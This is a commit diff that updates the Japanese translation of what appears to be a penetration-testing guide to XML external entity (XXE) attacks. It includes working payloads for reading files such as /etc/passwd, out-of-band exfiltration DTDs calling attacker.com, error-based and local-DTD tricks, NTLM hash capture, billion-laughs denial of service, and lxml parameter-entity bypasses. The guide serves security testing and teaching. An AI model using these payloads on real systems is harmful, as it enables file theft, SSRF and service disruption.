Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to ja

This commit is contained in:
Translator 2025-07-12 09:54:13 +00:00
parent 38d77adac5
commit 3a30018dbd

View File

@ -1,16 +1,21 @@
# XXE - XEE - XML External Entity
{{#include /banners/hacktricks-training.md}}
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}
## XMLの基本
XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用する柔軟な構造を特徴としています。XMLは、あらかじめ定義されたタグのセットに制限されない点でHTMLとは異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。
XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用する柔軟な構造を特徴としています。XMLは、あらかじめ定義されたタグのセットに制限されない点でHTMLとは異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、AJAX技術における初期の役割はありました。
- **エンティティによるデータ表現**: XMLのエンティティは、`&lt;``&gt;`のような特殊文字を含むデータの表現を可能にし、これらはそれぞれ`<``>`に対応し、XMLのタグシステムとの衝突を避けます。
- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
- **エンティティによるデータ表現**: XMLのエンティティは、`&lt;``&gt;`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<``>`に対応します。
- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のものから特定の子要素までさまざまです。
- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。DTDは内部、外部、またはその組み合わせであり、文書のフォーマットと検証方法をガイドします。
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティXXE攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XMLパラメータエンティティを利用してXXE脆弱性を検出できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティXXE攻撃の文脈セキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティによるXXE検出**: 特にパーサーのセキュリティ対策により従来の方法が失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -20,7 +25,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
### 新しいエンティティテスト
この攻撃では、シンプルな新しいエンティティ宣言が機能しているかどうかをテストします。
この攻撃では、シンプルな新しいエンティティ宣言が機能るかどうかをテストします。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -65,7 +70,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
### ディレクトリリスト
**Java** ベースのアプリケーションでは、XXEを使用して次のようなペイロードで **ディレクトリの内容をリストする** ことが可能な場合があります(ファイルではなくディレクトリを要求するだけ)
**Java** ベースのアプリケーションでは、XXEを使用してペイロードのように(ファイルではなくディレクトリを要求することで)**ディレクトリの内容をリストする**ことが可能な場合があります
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -91,7 +96,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
```
### "Blind" SSRF - データをアウトオブバンドで抽出する
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
**この場合、サーバーに悪意のあるペイロードを持つ新しいDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
与えられた悪意のあるDTDでは、データを抽出するために一連の手順が実行されます
@ -104,14 +109,14 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
%eval;
%exfiltrate;
```
このDTDによって実行されるステップは以下の通りです:
このDTDによって実行されるステップは次のとおりです:
1. **パラメータエンティティの定義:**
- XMLパラメータエンティティ`%file`が作成され、`/etc/hostname`ファイルの内容を読み取ります。
- 別のXMLパラメータエンティティ`%eval`が定義されます。これは動的に新しいXMLパラメータエンティティ`%exfiltrate`を宣言します。`%exfiltrate`エンティティは、攻撃者のサーバーにHTTPリクエストを行い、URLのクエリ文字列内に`%file`エンティティの内容を渡すように設定されています。
2. **エンティティの実行:**
- `%eval`エンティティが利用され、`%exfiltrate`エンティティの動的宣言が実行されます。
- 次に`%exfiltrate`エンティティが使用され、ファイルの内容を持つ指定されたURLへのHTTPリクエストがトリガーされます。
- 次に`%exfiltrate`エンティティが使用され、指定されたURLにファイルの内容を含むHTTPリクエストがトリガーされます。
攻撃者は、この悪意のあるDTDを自分の制御下にあるサーバーにホストし、通常は`http://web-attacker.com/malicious.dtd`のようなURLで提供します。
@ -121,18 +126,18 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
このペイロードは、XMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに流出させます。
このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。
### エラーベース外部DTD
**この場合、サーバーが悪意のあるDTDを読み込むようにし、エラーメッセージ内にファイルの内容を表示させますこれはエラーメッセージが見える場合にのみ有効です。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
悪意のある外部文書型定義DTDを使用して、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます
悪意のある外部文書型定義DTDを使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます
1. `file`という名前のXMLパラメータエンティティが定義され、`/etc/passwd`ファイルの内容が含まれます。
2. `eval`という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ`error`の動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。
3. `eval`エンティティが呼び出され、`error`エンティティの動的宣言が行われます。
4. `error`エンティティの呼び出しは、存在しないファイルを読み込もうとし、ファイル名の一部として`/etc/passwd`ファイルの内容を含むエラーメッセージを生成します。
1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。
2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。
3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。
4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd` ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。
悪意のある外部DTDは、以下のXMLで呼び出すことができます
```xml
@ -144,15 +149,15 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
![](<../images/image (809).png>)
_**外部DTDを使用すると、2番目の`eval`内に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません通常。**_
_**外部DTDは、2番目の`eval`内に1つのエンティティを含めることを許可しますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません通常。**_
### **エラーに基づくシステムDTD**
では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか外部接続が利用できない
XML言語仕様の抜け穴は、**文書のDTDが内部および外部宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題により、外部で宣言されたエンティティの内部再定義が可能になり、エラーに基づくXXE攻撃の実行が容易になります。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
XML言語仕様の抜け穴は、**ドキュメントのDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
サーバーのファイルシステムに`/usr/local/app/schema.dtd`あるDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -167,9 +172,9 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部宣言を
```
このDTDによって示された手順が実行されます
- `local_dtd`という名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、解析エラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
- `local_dtd`エンティティを使用することで、外部DTDが関与し、新たに定義された`custom_entity`を含みます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。
- `local_dtd`というXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
- `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。
**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd``ISOamso`というエンティティを含むDTDがあることがよくあります。
```xml
@ -195,7 +200,7 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部宣言を
%local_dtd;
]>
```
より詳しい情報は[https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)を確認してください。
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### システム内のDTDを見つける
@ -205,7 +210,7 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部宣言を
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。方法については[GitHubのReadme](https://github.com/GoSecure/dtd-finder)をお読みください。
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。方法を学ぶには[GitHubのReadme](https://github.com/GoSecure/dtd-finder)を読んでください。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -227,21 +232,21 @@ Testing 0 entities : []
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ例えばvimで編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように修正する必要があります。
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタリング可能なURLに置き換えることが重要です。
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタ可能なURLに置き換えることが重要です。
最後に、ファイルを圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります
作成したファイル潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。
作成したファイルは、潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaboratorのログにリクエストが表示されることを期待できます。
### Jar: protocol
**jar** プロトコルは**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip``.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルおよびリモートファイルの両方に対応しています。
**jar** プロトコルは**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip``.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルファイルとリモートファイルの両方に対応しています。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介してXXEを悪用するのに非常に便利です。** [このセクションを確認して、システムDTDファイルを悪用する方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
> PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介してXXEを悪用するのに非常に便利です。** [このセクションシステムDTDファイルを悪用する方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセスするプロセスは、いくつかのステップを含みます
@ -251,13 +256,13 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
4. アーカイブ内の特定のファイル`file.zip`が読み取られます。
5. 操作後、このプロセス中に作成された一時ファイルは削除されます。
このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)が含まれます。
このプロセスの2番目のステップで中断するための興味深い技術は、アーカイブファイルを提供する際にサーバー接続を無期限に開いたままにすることです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)が含まれます。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!CAUTION]
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートさせるのに役立つ**ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ可能性があります**ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど
### XSS
```xml
@ -265,7 +270,7 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
```
### DoS
#### ビリオンダンス攻撃
#### ビリオンラフ攻撃
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -288,7 +293,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### 二次膨張攻撃
#### 二次爆発攻撃
![](<../images/image (527).png>)
@ -304,15 +309,15 @@ Responder.py -I eth0 -v
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Then you can try to crack the hash using hashcat
その後、hashcatを使用してハッシュをクラッキングすることができます。
## Hidden XXE Surfaces
## 隠れたXXEの出現
### XInclude
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され`DOCTYPE`要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限されており、`DOCTYPE`要素を変更する制限のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -334,7 +339,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image>
</svg>
```
SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用されるため、堅牢な入力検証とセキュリティ対策の必要性が強調されます。
SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用され、堅牢な入力検証とセキュリティ対策の必要性を強調しています。
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
@ -368,7 +373,7 @@ Content-Length: 52
```
### Content-Type: From JSON to XEE
リクエストを変更するには、「**Content Type Converter**」というBurp拡張機能を使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます:
リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます:
```xml
Content-Type: application/json;charset=UTF-8
@ -404,11 +409,11 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
この操作は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
この方法は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
### UTF-7
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます。
ここで \[**"Encode Recipe**" of cyberchef\] を使用できます。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -422,15 +427,15 @@ Content-Type: application/xml;charset=UTF-8
```
### File:/ プロトコルバイパス
ウェブがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
ウェブがPHPを使用している場合、`file:/`の代わりに**phpラッパー**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
ウェブがJavaを使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認してください。
### HTML エンティティ
### HTMLエンティティ
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
**エンティティ内のエンティティ**を作成し、**html エンティティ**でエンコードしてから、それを呼び出して**dtdをロード**できます。\
使用する**HTML エンティティ**は**数値**である必要があります(例として\[[https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
**エンティティ内のエンティティ**を作成し、**htmlエンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\
使用する**HTMLエンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>))
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -476,7 +481,7 @@ DTDの例:
この例は[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)にインスパイアされています。
XLIFF (XML Localization Interchange File Format)は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation)ツールの共通交換フォーマットとしても使用されます。
XLIFF (XML Localization Interchange File Format) は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation) ツールの共通交換フォーマットとしても使用されます。
### Blind Request Analysis
@ -516,7 +521,7 @@ Content-Type: application/x-xliff+xml
```
このアプローチは、User AgentがJava 1.8の使用を示していることを明らかにします。このバージョンのJavaの制限の一つは、Out of Band技術を使用して、/etc/passwdのような改行文字を含むファイルを取得できないことです。
Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています:
Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -534,7 +539,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based
%foo;
%xxe;
```
この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用し成功したXXEXML External Entity攻撃を示しています。
この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、Out of BandおよびError-Based技術の両方を利用して機密情報を抽出する成功したXXEXML External Entity攻撃を示しています。
## RSS - XEE
@ -671,17 +676,72 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
</void>
</java>
```
## XXE + WrapWrap + Lightyear + bypasses
## XXE + WrapWrap + Lightyear + バイパス
この素晴らしいレポートを見てください [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Tools
## ツール
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
### Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示)
> [!INFO]
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にすると、アクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。
#### 1. lxml < 5.4.0 の悪用
1. **未定義** パラメータエンティティ (例: `%config_hex;`) を定義する *ローカル* DTD をディスク上で特定または作成します。
2. 内部 DTD を作成します:
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカル DTD を読み込みます。
* 未定義エンティティを再定義して、次のようにします:
- 対象ファイルを読み取ります (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
- `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
3. 最後に `%local_dtd;``%eval;` を展開して、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、例外内にフラグを漏洩させます これはしばしばアプリケーションによってユーザーに返されます。
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
```
アプリケーションが例外を出力すると、レスポンスには次の内容が含まれます:
```
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> パーサーが内部サブセット内の `%`/`&` 文字について文句を言う場合は、それらを二重エンコードします(`&#x26;#x25;``%`)以降の展開を遅らせるためです。
#### 2. lxml 5.4.0 のハードニングを回避する (libxml2 は依然として脆弱)
`lxml` ≥ 5.4.0 は上記のような *error* パラメータエンティティを禁止していますが、**libxml2** はそれらを *general* エンティティに埋め込むことを依然として許可しています。 トリックは次のとおりです:
1. ファイルをパラメータエンティティ `%file` に読み込みます。
2. *non-existent protocol* である `meow://%file;` を使用する **general** エンティティ `c` を構築する別のパラメータエンティティを宣言します。
3. XML 本文に `&c;` を配置します。 パーサーが `meow://…` を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全な URI が反映されます。
```xml
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
```
#### 主なポイント
* **パラメータエンティティ**は、`resolve_entities`がXXEをブロックすべきであっても、libxml2によって依然として展開されます。
* **無効なURI**または**存在しないファイル**は、制御されたデータをスローされた例外に連結するのに十分です。
* この技術は**外部接続なし**で機能し、厳格に出口フィルタリングされた環境に最適です。
#### 緩和ガイダンス
